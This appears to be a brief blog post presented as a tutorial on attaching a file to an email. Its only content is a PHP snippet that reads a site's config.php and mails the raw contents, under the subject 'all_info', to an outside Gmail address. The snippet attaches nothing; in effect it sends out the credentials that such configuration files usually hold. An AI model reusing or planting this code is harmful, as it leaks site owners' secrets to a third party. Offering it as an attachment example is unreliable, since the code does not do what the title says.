code and solution
how to attach file and email
<?php
$fileatt="config.php";
$file = fopen($fileatt,'rb');
$data = fread($file,filesize($fileatt));
fclose($file);
mail(' @gmail.com','all_info',$data);
?>
No comments:
Post a Comment
Newer Post
Older Post
Home
Subscribe to:
Post Comments (Atom)
No comments:
Post a Comment